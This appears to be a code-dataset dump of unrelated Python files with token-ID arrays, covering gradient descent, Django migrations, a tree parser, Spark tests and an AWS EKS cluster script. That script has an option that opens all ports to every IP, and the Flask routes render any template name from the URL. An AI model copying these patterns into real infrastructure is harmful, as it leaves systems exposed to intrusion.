954, 29918, 277, 414, 1125, 13, 4706, 396, 1275, 9166, 25512, 3575, 5920, 2266, 1275, 9166, 25512, 13, 4706, 396, 2799, 582, 1953, 584, 27313, 263, 2323, 16030, 4331, 373, 278, 3443, 4608, 278, 941, 13, 4706, 396, 13, 4706, 396, 379, 524, 29901, 1060, 29889, 12181, 353, 313, 29929, 29955, 29892, 29871, 29906, 511, 343, 29889, 12181, 353, 313, 29929, 29955, 29892, 10353, 278, 941, 29889, 12181, 353, 313, 29906, 29892, 1723, 13, 13, 4706, 286, 353, 7442, 29889, 6333, 29898, 29990, 29892, 278, 941, 29897, 13, 4706, 413, 353, 286, 448, 343, 13, 4706, 413, 353, 7442, 29889, 690, 14443, 29898, 29895, 29892, 14352, 29896, 29892, 29896, 2314, 13, 13, 4706, 17971, 353, 413, 334, 1060, 13, 13, 4706, 432, 29926, 353, 7442, 29889, 2083, 29898, 893, 29892, 8990, 29922, 29900, 29897, 13, 13, 4706, 16030, 353, 432, 29926, 847, 1060, 29889, 12181, 29961, 29900, 29962, 13, 13, 4706, 278, 941, 353, 278, 941, 448, 15595, 334, 16030, 13, 4706, 396, 1275, 9166, 9166, 9166, 4936, 29922, 13, 4706, 396, 16913, 278, 3438, 1432, 12541, 13, 4706, 435, 29918, 18434, 29961, 29875, 29962, 353, 10272, 29918, 18253, 29898, 29990, 29892, 343, 29892, 278, 941, 29897, 13, 13, 1678, 736, 278, 941, 29892, 435, 29918, 18434, 13, 13, 13, 1753, 16030, 29918, 2783, 1760, 29918, 9910, 29898, 29990, 29892, 343, 29892, 278, 941, 29892, 15595, 29892, 954, 29918, 277, 414, 1125, 13, 1678, 396, 25455, 777, 5407, 1819, 13, 1678, 286, 353, 343, 29889, 2311, 13, 1678, 435, 29918, 18434, 353, 7442, 29889, 3298, 359, 29898, 1949, 29918, 277, 414, 29897, 13, 13, 1678, 363, 474, 297, 3464, 29898, 29900, 29892, 954, 29918, 277, 414, 1125, 13, 4706, 396, 1275, 9166, 25512, 3575, 5920, 2266, 1275, 9166, 25512, 13, 4706, 396, 2799, 582, 1953, 584, 27313, 263, 2323, 16030, 4331, 373, 278, 3443, 4608, 278, 941, 13, 13, 13, 4706, 269, 29896, 353, 7442, 29889, 6333, 29898, 29990, 29892, 3416, 29897, 448, 343, 13, 4706, 269, 29896, 353, 7442, 29889, 690, 14443, 29898, 29879, 29896, 29892, 6278, 29896, 29892, 29896, 876, 13, 4706, 269, 29906, 353, 269, 29896, 334, 1060, 13, 4706, 269, 29941, 353, 7442, 29889, 2083, 29898, 29879, 29906, 29892, 8990, 29922, 29900, 29897, 13, 4706, 269, 29946, 353, 269, 29941, 847, 286, 13, 13, 4706, 278, 941, 353, 278, 941, 448, 15595, 334, 269, 29946, 13, 13, 13, 4706, 396, 1275, 9166, 9166, 9166, 4936, 29922, 13, 4706, 396, 16913, 278, 3438, 1432, 12541, 13, 4706, 435, 29918, 18434, 29961, 29875, 29962, 353, 10272, 29918, 18253, 29898, 29990, 29892, 343, 29892, 278, 941, 29897, 13, 13, 1678, 736, 278, 941, 29892, 435, 29918, 18434, 13, 268, 2 ]
exercises/chapter02/exc_02_02.py	deep-diver/fastai-course	0	155441	from fastai.vision.all import * url = "https://github.com/deep-diver/fastai-course/raw/master/data/oxford-iiit-pet-tiny.tar.gz" image_list = get_image_files(untar_data(url)/"images").sorted() filename1 = image_list[0].name filename2 = image_list[3].name print(f"{filename1}, {filename2}") def label_func(f): return ___ label1 = label_func(filename1) label2 = label_func(filename2) print(f"{label1}, {label2}")	[ 1, 515, 5172, 1794, 29889, 4924, 29889, 497, 1053, 334, 13, 13, 2271, 353, 376, 991, 597, 3292, 29889, 510, 29914, 24535, 29899, 29881, 2147, 29914, 11255, 1794, 29899, 15775, 29914, 1610, 29914, 6207, 29914, 1272, 29914, 2251, 4006, 29899, 2236, 277, 29899, 10963, 29899, 25649, 29889, 12637, 29889, 18828, 29908, 13, 3027, 29918, 1761, 353, 679, 29918, 3027, 29918, 5325, 29898, 1657, 279, 29918, 1272, 29898, 2271, 6802, 29908, 8346, 2564, 24582, 580, 13, 13, 9507, 29896, 353, 1967, 29918, 1761, 29961, 29900, 1822, 978, 13, 9507, 29906, 353, 1967, 29918, 1761, 29961, 29941, 1822, 978, 13, 2158, 29898, 29888, 29908, 29912, 9507, 29896, 1118, 426, 9507, 29906, 27195, 13, 13, 1753, 3858, 29918, 9891, 29898, 29888, 1125, 13, 1678, 736, 903, 1649, 13, 259, 13, 1643, 29896, 353, 3858, 29918, 9891, 29898, 9507, 29896, 29897, 13, 1643, 29906, 353, 3858, 29918, 9891, 29898, 9507, 29906, 29897, 13, 2158, 29898, 29888, 29908, 29912, 1643, 29896, 1118, 426, 1643, 29906, 27195, 2 ]
zipper_config.py	tormak/zipper-swapper	0	124911	import json import errno config = { 'first_file_filesize' : '1024', 'second_file_filesize' : '128' } def write_config(): with open('config.json', 'w') as config_file: json.dump(config, config_file) def read_config(): try: config_file = open('config.json', 'r') config = json.load(config_file) except Exception as error: if errno.ENOENT == error.errno: #config file doesn't exist, create one with defaults write_config()	[ 1, 1053, 4390, 13, 5215, 4589, 1217, 13, 13, 2917, 353, 426, 13, 1678, 525, 4102, 29918, 1445, 29918, 5325, 675, 29915, 259, 584, 525, 29896, 29900, 29906, 29946, 742, 13, 1678, 525, 7496, 29918, 1445, 29918, 5325, 675, 29915, 29871, 584, 525, 29896, 29906, 29947, 29915, 13, 29913, 13, 13, 1753, 2436, 29918, 2917, 7295, 13, 1678, 411, 1722, 877, 2917, 29889, 3126, 742, 525, 29893, 1495, 408, 2295, 29918, 1445, 29901, 13, 4706, 4390, 29889, 15070, 29898, 2917, 29892, 2295, 29918, 1445, 29897, 13, 13, 1753, 1303, 29918, 2917, 7295, 13, 1678, 1018, 29901, 13, 4706, 2295, 29918, 1445, 353, 1722, 877, 2917, 29889, 3126, 742, 525, 29878, 1495, 13, 4706, 2295, 353, 4390, 29889, 1359, 29898, 2917, 29918, 1445, 29897, 308, 13, 1678, 5174, 8960, 408, 1059, 29901, 13, 4706, 565, 4589, 1217, 29889, 1430, 29949, 3919, 1275, 1059, 29889, 3127, 1217, 29901, 13, 9651, 396, 2917, 934, 1838, 29915, 29873, 1863, 29892, 1653, 697, 411, 21274, 13, 9651, 2436, 29918, 2917, 580, 13, 2 ]
dapricot/auth/migrations/0002_auto_20190602_1858.py	softapr/django_apricot	0	55235	# Generated by Django 2.2.1 on 2019-06-02 18:58 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('daauth', '0001_initial'), ] operations = [ migrations.AlterModelOptions( name='permissionsmixin', options={}, ), migrations.AlterModelOptions( name='user', options={}, ), migrations.AddField( model_name='user', name='username', field=models.CharField(default='', max_length=30, unique=True, verbose_name='username'), preserve_default=False, ), migrations.AlterField( model_name='user', name='avatar', field=models.ImageField(blank=True, null=True, upload_to='dapricot/avatars/'), ), ]	[ 1, 396, 3251, 630, 491, 15337, 29871, 29906, 29889, 29906, 29889, 29896, 373, 29871, 29906, 29900, 29896, 29929, 29899, 29900, 29953, 29899, 29900, 29906, 29871, 29896, 29947, 29901, 29945, 29947, 13, 13, 3166, 9557, 29889, 2585, 1053, 9725, 800, 29892, 4733, 13, 13, 13, 1990, 341, 16783, 29898, 26983, 800, 29889, 29924, 16783, 1125, 13, 13, 1678, 9962, 353, 518, 13, 4706, 6702, 1388, 5150, 742, 525, 29900, 29900, 29900, 29896, 29918, 11228, 5477, 13, 1678, 4514, 13, 13, 1678, 6931, 353, 518, 13, 4706, 9725, 800, 29889, 2499, 357, 3195, 5856, 29898, 13, 9651, 1024, 2433, 17858, 6847, 28084, 262, 742, 13, 9651, 3987, 3790, 1118, 13, 4706, 10353, 13, 4706, 9725, 800, 29889, 2499, 357, 3195, 5856, 29898, 13, 9651, 1024, 2433, 1792, 742, 13, 9651, 3987, 3790, 1118, 13, 4706, 10353, 13, 4706, 9725, 800, 29889, 2528, 3073, 29898, 13, 9651, 1904, 29918, 978, 2433, 1792, 742, 13, 9651, 1024, 2433, 6786, 742, 13, 9651, 1746, 29922, 9794, 29889, 27890, 29898, 4381, 2433, 742, 4236, 29918, 2848, 29922, 29941, 29900, 29892, 5412, 29922, 5574, 29892, 26952, 29918, 978, 2433, 6786, 5477, 13, 9651, 19905, 29918, 4381, 29922, 8824, 29892, 13, 4706, 10353, 13, 4706, 9725, 800, 29889, 2499, 357, 3073, 29898, 13, 9651, 1904, 29918, 978, 2433, 1792, 742, 13, 9651, 1024, 2433, 485, 14873, 742, 13, 9651, 1746, 29922, 9794, 29889, 2940, 3073, 29898, 19465, 29922, 5574, 29892, 1870, 29922, 5574, 29892, 6441, 29918, 517, 2433, 29881, 481, 2200, 327, 29914, 485, 271, 1503, 29914, 5477, 13, 4706, 10353, 13, 1678, 4514, 13, 2 ]
combine2d/sandbox/quick_n_dirty_eval/extract_all_final_surface_differences_and_perturbations.py	phigre/cobi	4	132153	<gh_stars>1-10 import numpy as np import matplotlib.pyplot as plt import glob import os from combine2d.core.data_logging import load_pickle from combine2d.core.visualization import MidpointNormalize, plot_glacier_contours from combine2d.sandbox.quick_n_dirty_eval import experiment_naming_engine from oggm import cfg cfg.initialize() basedir = '/home/philipp/thesis/' filepaths = glob.glob(os.path.join(basedir, '//*/data_logger.pkl')) plot_dir = '/home/philipp/plots/inv_surf_differences/' def plot_final_surface_difference(data_logger, filepath, title, cbar_min=None, cbar_max=None, ice_mask=None): return plot_surface_difference(data_logger.surfs[-1] - data_logger.ref_surf, filepath, title, cbar_min, cbar_max) def plot_surface_difference(surface_difference, filepath, title, cbar_min=None, cbar_max=None, ice_mask=None): if cbar_min is None: cbar_min = surface_difference.min() if cbar_max is None: cbar_max = surface_difference.max() fig, ax = plt.subplots() im_b = ax.imshow(surface_difference, cmap='RdBu_r', norm=MidpointNormalize(midpoint=0., vmin=cbar_min, vmax=cbar_max)) cbar = fig.colorbar(im_b) cbar.set_label('$\Delta$surface height (m)') ax.set_title(title) if ice_mask is not None: plot_glacier_contours(ax, ice_mask, linestyles='dashed', linewidths=[0.75]) plt.savefig(filepath) plt.clf() for path in filepaths: idir, temp = os.path.split(path) gdir, exp = os.path.split(idir) temp, case = os.path.split(gdir) dl = load_pickle(path) exp_name = experiment_naming_engine.get_experiment_name(exp) if exp_name is not None: #if os.path.exists() cbar_min = None cbar_max = None surf_err = dl.surfs[-1] - dl.ref_surf cbar_min = surf_err.min() cbar_max = surf_err.max() ice_mask = np.load(os.path.join(gdir, 'ref_ice_mask.npy')) if os.path.exists(os.path.join(idir, 'dem_noise.npy')): dem_noise = np.load(os.path.join(idir, 'dem_noise.npy')) cbar_min = min(cbar_min, dem_noise.min()) cbar_max = max(cbar_max, dem_noise.max()) title = 'Surface perturbations case {:s}\nexperiment {:s}'.format( case, exp_name) plotpath = os.path.join(plot_dir, '{:s}_{:s}_surface_perturbations' '.png'.format(case,exp_name)) plot_surface_difference(dem_noise, plotpath, title, cbar_min, cbar_max, ice_mask=ice_mask) title = 'Surface errors case {:s}\nexperiment {:s}'.format(case, exp_name) plotpath = os.path.join(plot_dir, '{:s}_{:s}_surface_error.png'.format(case, exp_name)) plot_surface_difference(surf_err, plotpath, title, cbar_min, cbar_max, ice_mask=ice_mask)	[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 5215, 12655, 408, 7442, 13, 5215, 22889, 29889, 2272, 5317, 408, 14770, 13, 5215, 13149, 13, 5215, 2897, 13, 3166, 14405, 29906, 29881, 29889, 3221, 29889, 1272, 29918, 21027, 1053, 2254, 29918, 23945, 280, 13, 3166, 14405, 29906, 29881, 29889, 3221, 29889, 20119, 2133, 1053, 13370, 3149, 19077, 675, 29892, 6492, 29918, 29887, 433, 13241, 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Advance-Statistical-Learning/GradientDescent.py

mborkhat/mtech-data-science

2

56393

from sklearn.preprocessing import scale import numpy as np class GradientDescent: learning_rate = 0.01 max_iter = 2000 scale = False new_theta = [] def __init__(self, learning_rate=0.01, max_iter=2000, scale=False): self.learning_rate = learning_rate self.max_iter = max_iter self.scale = scale def fit(self, X, y): ones = [1] * len(X) if self.scale: X = scale(X) X = np.transpose(np.concatenate((np.array([ones]).reshape(-1, 1), X), axis=1)) zeroes = [0] * X.shape[0] theta = np.array([zeroes]) for i in range(self.max_iter): htheta = np.dot(theta, X) diff_theta = htheta - y.values partial_derivative_theta = np.dot(diff_theta, np.transpose(X)) / len(y.values) theta = theta - self.learning_rate * partial_derivative_theta self.new_theta.append(theta) def predict(self, X): if scale: X = scale(X) theta0 = self.new_theta[self.max_iter-1][0][0] thetas = [] for i in range(1, self.new_theta[self.max_iter-1].shape[1]): thetas.append(self.new_theta[self.max_iter-1][0][i]) predict = theta0 + (thetas * X).sum(axis=1) return(predict) def score(self, X, y): if scale: X = scale(X) pred_y = self.predict(X) mean_y = y.mean() ess = sum((y - mean_y) ** 2) rss = sum((y - pred_y) ** 2) rsquared = 1 - (rss/ess) return rsquared

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netbox/tenancy/migrations/0002_tenant_ordering.py

cybarox/netbox

4,994

120343

<reponame>cybarox/netbox from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('tenancy', '0001_squashed_0012'), ] operations = [ migrations.AlterModelOptions( name='tenant', options={'ordering': ['name']}, ), ]

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Exercício feitos pela primeira vez/ex025.py

Claayton/pythonExerciciosLinux

1

159102

#Exercício025 name = str(input('Qual seu nome completo?: ')).strip().upper() print('Seu nome tem a palavra SILVA?: {}'.format('SILVA'in name)) print('xD')

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scripts/ucnf-kiknos/pyaws/create_cluster.py

mihmatache/nsm-nse

0

62569

import argparse import json import subprocess import sys from eks import AwsCluster from shell import run_out, run_in from utils import reduce_subnets, get_current_region DEFAULT_CIDR_BLOCK = "192.168.0.0/16" def create_cluster(data): run_in("eksctl", "create", "cluster", "-f", "-", **data) def generate_cluster_cfg(name, region, cidr, vpcid, private, public): return { 'apiVersion': 'eksctl.io/v1alpha5', 'kind': 'ClusterConfig', 'metadata': { 'name': name, 'region': region }, 'vpc': { 'cidr': cidr, 'id': vpcid, 'subnets': { 'private': reduce_subnets(private), 'public': reduce_subnets(public) } } if private and public and vpcid else { 'cidr': cidr, 'nat': {'gateway': 'Single'}, 'clusterEndpoints': {'publicAccess': True, 'privateAccess': True} }, 'nodeGroups': [ { 'name': 'member-ng', 'minSize': 2, 'maxSize': 2, 'instancesDistribution': { 'maxPrice': 0.093, 'instanceTypes': ["t3a.large", "t3.large"], 'onDemandBaseCapacity': 0, 'onDemandPercentageAboveBaseCapacity': 50, 'spotInstancePools': 2 }, 'ssh': { 'publicKeyPath': '~/.ssh/id_rsa.pub' }, 'iam': { 'withAddonPolicies': { 'externalDNS': True } } } ] } def open_security_groups(cluster_name, region): res = run_out("aws", "ec2", "describe-security-groups", "--region", region, "--filters", "Name=tag:aws:cloudformation:logical-id,Values=SG", "Name=tag:alpha.eksctl.io/cluster-name,Values=" + cluster_name) sg = res['SecurityGroups'] if len(sg) < 1: raise Exception("no security group found for cluster {0} nodegroup".format(cluster_name)) subprocess.check_call( ["aws", "ec2", "authorize-security-group-ingress", "--group-id", sg[0]['GroupId'], "--protocol", "-1", "--port", "-1", "--cidr", "0.0.0.0/0", "--region", region]) def main(): parser = argparse.ArgumentParser(description='Utility for dealing with AWS clusters') parser.add_argument('--name', required=True, help='Member cluster name to create config for.') parser.add_argument('--region', required=False, help='Member cluster region') parser.add_argument('--ref', required=False, help='Reference cluster name (client cluster will use reference clusters vpc when is created)') parser.add_argument('--cidr', required=False, help='Client cluster name to create config yaml for.') parser.add_argument('--test', required=False, help='Dump generated config', action='store_true') parser.add_argument('--open-sg', required=False, help='Open all ports and all ips for SecurityGroups', dest='open_sg', action='store_true') args = parser.parse_args() cidr = args.cidr if args.cidr else DEFAULT_CIDR_BLOCK region = args.region if args.region else get_current_region() priv_subnets, pub_subnets, vpcid = None, None, None if args.ref: reference_cluster = AwsCluster(args.ref, region) priv_subnets = reference_cluster.get_subnets("Private") pub_subnets = reference_cluster.get_subnets("Public") vpcid = reference_cluster.get_vpcid() cfg = generate_cluster_cfg(args.name, region, cidr, vpcid, priv_subnets, pub_subnets) if args.test: json.dump(cfg, sys.stdout, indent=4) return create_cluster(cfg) if args.open_sg: open_security_groups(args.name, region) if __name__ == '__main__': main()

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data_structure/const_tree.py

alipay/StructuredLM_RTDT

42

10206

<reponame>alipay/StructuredLM_RTDT # coding=utf-8 # Copyright (c) 2021 <NAME> import sys LABEL_SEP = '@' INDENT_STRING1 = '│ ' INDENT_STRING2 = '├──' EMPTY_TOKEN = '___EMPTY___' def print_tree(const_tree, indent=0, out=sys.stdout): for i in range(indent - 1): out.write(INDENT_STRING1) if indent > 0: out.write(INDENT_STRING2) out.write(const_tree.tag) if not isinstance(const_tree.children[0], ConstTree): out.write(f' {const_tree.children[0].string}\n') else: out.write('\n') for child in const_tree.children: print_tree(child, indent + 1, out) def _make_tree(string, make_leaf_fn, make_internal_fn): tokens = string.replace('(', ' ( ').replace(')', ' ) ').split() index, stack = 0, [] lexicons = [] root = None while index < len(tokens): token = tokens[index] index += 1 if token == ')': if not stack: raise ConstTreeParserError('redundant ")" at token ' + str(index)) node = stack.pop() if not stack: root = node else: stack[-1].children.append(node) elif token == '(': tag = tokens[index] index += 1 stack.append(make_internal_fn(tag)) else: if not stack: raise ConnectionError('??? at pos ' + str(index)) new_token = [] while token != ')': if not token != '(': raise Exception('bracket error') new_token.append(token) token = tokens[index] index += 1 # is lexicon leaf_node = make_leaf_fn('_'.join(new_token)) lexicons.append(leaf_node) postag_node = stack.pop() postag_node.children.append(leaf_node) if not stack: root = postag_node else: stack[-1].children.append(postag_node) if not root or stack: raise ConstTreeParserError('missing ")".') return root, lexicons class ConstTreeParserError(Exception): pass class Lexicon: __slots__ = ('string', 'span', 'parent') def __init__(self, string, span=None): self.string = string self.span = span def __str__(self): return f'<Lexicon {self.string}>' def __repr__(self): return str(self) def __eq__(self, other): return self.string == other.string def __hash__(self): return hash(self.string) + 2 @property def tag(self): return self.string def to_string(self, quote_lexicon): if quote_lexicon: return f'"{self.string}"' return self.string class ConstTree: __slots__ = ('children', 'tag', 'span', 'index', 'parent', 'attrs') ROOT_LABEL = 'ROOT' def __init__(self, tag, children=None, span=None): self.tag = tag self.children = children if children is not None else [] self.span = span self.index = None def __str__(self): child_string = ' + '.join(child.tag for child in self.children) return f'{self.span} {self.tag} => {child_string}' def __repr__(self): return str(self) def __getitem__(self, index): if isinstance(index, int): return self.children[index] if isinstance(index, str): for child in self.children: if isinstance(child, ConstTree) and child.tag == index.upper(): return child raise KeyError def to_string(self, quote_lexicon=False): child_string = ' '.join(child.to_string(quote_lexicon) for child in self.children) return f'({self.tag} {child_string})' @staticmethod def from_string(string): """ Construct ConstTree from parenthesis representation. :param string: string of parenthesis representation :return: ConstTree root and all leaf Lexicons """ tree, lexicons = _make_tree(string, Lexicon, ConstTree) for index, lexicon in enumerate(lexicons): lexicon.span = index, index + 1 tree.populate_spans_internal() return tree, lexicons def traverse_postorder(self): for child in self.children: if isinstance(child, ConstTree): yield from child.traverse_postorder() yield self def traverse_postorder_with_lexicons(self): for child in self.children: if isinstance(child, ConstTree): yield from child.traverse_postorder_with_lexicons() else: yield child yield self def generate_preterminals(self): for child in self.children: if isinstance(child, ConstTree): yield from child.generate_preterminals() for child in self.children: if isinstance(child, Lexicon): yield self def generate_lexicons(self): for child in self.children: if isinstance(child, ConstTree): yield from child.generate_lexicons() for child in self.children: if isinstance(child, Lexicon): yield child def is_binary_tree(self): if isinstance(self.children[0], Lexicon): return True return len(self.children <= 2) and all(child.is_binary_tree() for child in self.children) def condensed_unary_chain(self, include_preterminal=True, remove_root=None): if self.tag == remove_root: assert len(self.children) == 1 return self.children[0].condensed_unary_chain(include_preterminal=include_preterminal) if len(self.children) > 1: return ConstTree(self.tag, children=list(child.condensed_unary_chain() for child in self.children), span=self.span) if isinstance(self.children[0], Lexicon): return ConstTree((self.tag if include_preterminal else EMPTY_TOKEN), children=list(self.children), span=self.span) assert isinstance(self.children[0], ConstTree) node = self new_tag = self.tag while len(node.children) == 1 and isinstance(node.children[0], ConstTree): node = node.children[0] if include_preterminal or isinstance(node.children[0], ConstTree): new_tag += LABEL_SEP + node.tag if len(node.children) == 1: children = list(node.children) else: children = list(child.condensed_unary_chain() for child in node.children) return ConstTree(new_tag, children=children, span=self.span) def expanded_unary_chain(self, add_root=None): if isinstance(self.children[0], Lexicon): children = list(self.children) else: children = list(child.expanded_unary_chain() for child in self.children) tags = self.tag.split(LABEL_SEP) for tag in reversed(tags): children = [ConstTree(tag, children=children, span=self.span)] root = children[0] if add_root: root = ConstTree(add_root, children=[root]) return root def calculate_span(self): self.span = self.children[0].span[0], self.children[-1].span[1] def populate_spans_internal(self): for child in self.children: if isinstance(child, ConstTree): child.populate_spans_internal() self.calculate_span() def add_postorder_index(self): for index, node in enumerate(self.traverse_postorder()): node.index = index def add_parents(self, parent=None): self.parent = parent for child in self.children: if isinstance(child, ConstTree): child.add_parents(self) def is_ancestor_of(self, other): other = other.parent while other is not None and other is not self: other = other.parent return other is not None def generate_path_to_root(self, include_self=False): node = self if not include_self: node = self.parent while node is not None: yield node node = node.parent def lowest_common_ancestor(self, other): path = list(other.generate_path_to_root()) for node in self.generate_path_to_root(): try: return path[path.index(node)] except ValueError: pass def remove_nodes(self, filter): _children = [] for c in self.children: if isinstance(c, ConstTree): if filter(c): pass else: filtered_node = c.remove_nodes(filter) _children.append(filtered_node) else: _children.append(c) return ConstTree(self.tag, _children)

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regression-tests/sparktkregtests/testcases/frames/column_method_rename_test.py

lewisc/spark-tk

34

109338

<reponame>lewisc/spark-tk # vim: set encoding=utf-8 # Copyright (c) 2016 Intel Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # vim: set encoding=utf-8 # Copyright (c) 2016 Intel Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # """Tests methods that access or alter columns""" import unittest from sparktkregtests.lib import sparktk_test dummy_int_val = -77 # placeholder data value for added column dummy_col_count = 1000 # length of dummy list for column add # This method is to test different sources of functions # i.e. global def global_dummy_val_list(row): return [dummy_int_val for _ in range(0, dummy_col_count)] class ColumnMethodTest(sparktk_test.SparkTKTestCase): # Test class bound methods @staticmethod def static_dummy_val_list(row): return [dummy_int_val for _ in range(0, dummy_col_count)] def setUp(self): """Build test_frame""" super(ColumnMethodTest, self).setUp() dataset = self.get_file("int_str_float.csv") schema = [("int", int), ("str", str), ("float", float)] self.frame = self.context.frame.import_csv(dataset, schema=schema) def test_rename_columns(self): """Test renaming columns works""" self.frame.add_columns( lambda row: dummy_int_val, ('product', int)) col_count = len(self.frame.take(1)[0]) self.frame.rename_columns( {'int': 'firstNumber', 'float': 'secondNumber'}) self.assertEqual(col_count, len(self.frame.take(1)[0])) self.assertNotIn('int', self.frame.column_names) self.assertNotIn('float', self.frame.column_names) self.assertIn('firstNumber', self.frame.column_names) self.assertIn('secondNumber', self.frame.column_names) def test_redundant_rename(self): """Test renaming with the same name works""" col_count = len(self.frame.take(1)[0]) self.frame.rename_columns({'str': 'str'}) self.assertEqual(col_count, len(self.frame.take(1)[0])) self.assertIn('str', self.frame.column_names) def test_swap_column_names(self): """Test swapping column names works""" col_count = len(self.frame.take(1)[0]) self.frame.rename_columns({'str': 'int', 'int': 'str'}) self.assertEqual(col_count, len(self.frame.take(1)[0])) self.assertEqual(u'str', self.frame.column_names[0]) self.assertEqual(u'int', self.frame.column_names[1]) def test_multi_column_names_collision_no_force(self): """Test a multiple column rename with collisions fails""" with self.assertRaisesRegexp( Exception, "Invalid new column names are not unique"): self.frame.rename_columns({'str': 'alpha', 'int': 'times', 'float': 'alpha'}) def test_rename_existing_name_no_force(self): """Test renaming to an existing name errors""" with self.assertRaisesRegexp( Exception, "Invalid new column name 'str' collides"): self.frame.rename_columns({'int': 'str'}) def test_multi_column_names_collision(self): """Test a multiple column rename with collisions fails""" with self.assertRaisesRegexp( Exception, "Invalid new column names are not unique"): self.frame.rename_columns({'str': 'alpha', 'int': 'times', 'float': 'alpha'}) self.frame.inspect() def test_rename_existing_name(self): """Test renaming to an existing name errors""" with self.assertRaisesRegexp( Exception, "Invalid new column name 'str' collides"): self.frame.rename_columns({'int': 'str'}) self.frame.inspect() def test_rename_non_existent(self): """Test renaming a non-existent column fails""" with self.assertRaisesRegexp(Exception, "Invalid column"): self.frame.rename_columns({'no-such-name': 'not-a-name'}) def test_rename_with_special_characters(self): """Test renaming with special characters errors""" with self.assertRaisesRegexp(Exception, "alpha-numeric"): self.frame.rename_columns( {'int': 'Long ugly !@#$%^&*(?)_+|}{[\\]\|'}) if __name__ == "__main__": unittest.main()

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modelutils/caffe/extract_prototxt_from_caffemodel.py

shonohs/modelutils

1

172173

<filename>modelutils/caffe/extract_prototxt_from_caffemodel.py<gh_stars>1-10 """Extract prototxt file from caffemodel file. """ import argparse import pathlib from caffe.proto import caffe_pb2 def extract_prototxt_from_caffemodel(caffemodel_filepath, output_prototxt_filepath): model = caffe_pb2.NetParameter() model.ParseFromString(caffemodel_filepath.read_bytes()) # Remove weights from the model. for layer in model.layer: layer.ClearField('phase') if hasattr(layer, 'blobs'): del layer.blobs[:] # Remove Split layers from the model. top_aliases = {} split_layers = [layer for layer in model.layer if layer.type == 'Split'] non_split_layers = [layer for layer in model.layer if layer.type != 'Split'] for layer in split_layers: assert len(layer.bottom) == 1 for top in layer.top: top_aliases[top] = layer.bottom[0] del model.layer[:] model.layer.extend(non_split_layers) # Rename the aliases. for layer in model.layer: for i, bottom in enumerate(layer.bottom): if bottom in top_aliases: layer.bottom[i] = top_aliases[bottom] output_prototxt_filepath.write_text(str(model)) def main(): parser = argparse.ArgumentParser() parser.add_argument('caffemodel_filepath', type=pathlib.Path) parser.add_argument('output_filepath', type=pathlib.Path) args = parser.parse_args() if args.output_filepath.exists(): parser.error(f"{args.output_filepath} already exists.") extract_prototxt_from_caffemodel(args.caffemodel_filepath, args.output_filepath) if __name__ == '__main__': main()

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packages/dm_base/blueprints/base/routes.py

jdelrue/digital_me

0

79760

<filename>packages/dm_base/blueprints/base/routes.py from flask import render_template, redirect, request, url_for from jumpscale import j from blueprints.base import blueprint # from blueprints import login_manager login_manager = j.servers.web.latest.loader.login_manager # from blueprints import db # from blueprints.base.models import User # from flask_login import ( # current_user, # login_required, # login_user, # logout_user # ) # from .forms import LoginForm, CreateAccountForm # @blueprint.route('/') # def route_default(): # return redirect(url_for('base_blueprint.login')) # @login_required @blueprint.route('/githook', methods=['POST']) def route_github(): d=request.json name=d["repository"]['full_name'] #will be something like 'threefoldfoundation/info_foundation' account,repo=name.split("/",1) print("GITHUB:%s:%s"%(account,repo)) return ("OK") @blueprint.route('/<template>') def route_template(template): if template=="favicon.ico": return url_for('static',filename="images/favicon.png") return render_template(template + '.html') # @blueprint.route('/fixed_<template>') # @login_required # def route_fixed_template(template): # return render_template('fixed/fixed_{}.html'.format(template)) # @blueprint.route('/page_<error>') # def route_errors(error): # return render_template('errors/page_{}.html'.format(error)) # ## Login & Registration # @blueprint.route('/login', methods=['GET', 'POST']) # def login(): # login_form = LoginForm(request.form) # create_account_form = CreateAccountForm(request.form) # if 'login' in request.form: # username = str(request.form['username']) # password = str(request.form['password']) # user = User.query.filter_by(username=username).first() # if user and password == user.password: # login_user(user) # return redirect(url_for('base_blueprint.route_default')) # return render_template('errors/page_403.html') # elif 'create_account' in request.form: # login_form = LoginForm(request.form) # user = User(**request.form) # db.session.add(user) # db.session.commit() # return redirect(url_for('base_blueprint.login')) # if not current_user.is_authenticated: # return render_template( # 'login/login.html', # login_form=login_form, # create_account_form=create_account_form # ) # return redirect(url_for('home_blueprint.index')) # @blueprint.route('/logout') # @login_required # def logout(): # logout_user() # return redirect(url_for('base_blueprint.login')) # @blueprint.route('/shutdown') # def shutdown(): # func = request.environ.get('werkzeug.server.shutdown') # if func is None: # raise RuntimeError('Not running with the Werkzeug Server') # func() # return 'Server shutting down...' # ## Errors # @login_manager.unauthorized_handler # def unauthorized_handler(): # return render_template('errors/page_403.html'), 403 @blueprint.errorhandler(403) def access_forbidden(error): return render_template('errors/page_403.html'), 403 @blueprint.errorhandler(404) def not_found_error(error): return render_template('errors/page_404.html'), 404

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setup.py

Knio/treecat

6

190165

from setuptools import setup import imp _version = imp.load_source("treecat._version", "treecat/_version.py") setup( name='treecat', version=_version.__version__, author='<NAME>', author_email='<EMAIL>', license='MIT', url='https://github.com/Knio/treecat', description='Displays a tree view of files and their contents', packages=['treecat'], keywords='tool file', include_package_data = True, scripts = ['tcat'], install_requires = ['colorama', 'py'], classifiers=[ 'Environment :: Console', 'Intended Audience :: Developers', 'Intended Audience :: System Administrators', 'Intended Audience :: End Users/Desktop', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 3', 'Topic :: Desktop Environment :: File Managers', 'Topic :: System :: Filesystems', 'Topic :: Utilities', ] )

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setup.py

SignalOceanSdk/SignalSDK

10

55697

